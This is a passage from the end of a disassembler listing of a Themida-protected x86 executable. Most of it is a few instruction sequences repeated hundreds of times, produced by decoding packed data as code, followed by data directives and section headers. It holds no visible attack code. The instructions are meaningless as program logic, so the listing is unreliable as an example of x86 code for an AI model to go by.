ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] lds ecx, [ecx] mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh sub_5D584B endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- mov dl, 0C2h mov ebx, 0BBC2B209h or [edx-4DF6443Eh], esi retn 9BBh ; --------------------------------------------------------------------------- db 0B2h, 0C2h, 0BBh ; --------------------------------------------------------------------------- or [edx-4DF6443Eh], esi retn 6C47h ; --------------------------------------------------------------------------- db 6Ah, 0E3h, 47h dd 326h dup(47E36A6Ch) db 6Ch, 6Ah word_5D738E dw 47E3h ; DATA XREF: Themida_:0054E610o dd 0E3866A6Ch, 2Eh dup(0E3864B32h), 724E4B32h, 82h dup(724ECF7Bh) dd 1C4ECF7Bh, 0FBh dup(1CBFE819h), 11321119h, 285h dup(11321161h) dd 8FFh dup(0CCCCCCCCh), 0CCh, 199Fh dup(0) db 3 dup(0) byte_5E0EDF db 0 ; DATA XREF: Themida_:0054D84Co align 2000h Themida_ ends ; Section 5. (virtual address 001E2000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001E2000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5E2000h dd 80h dup(0) align 1000h _idata2 ends end start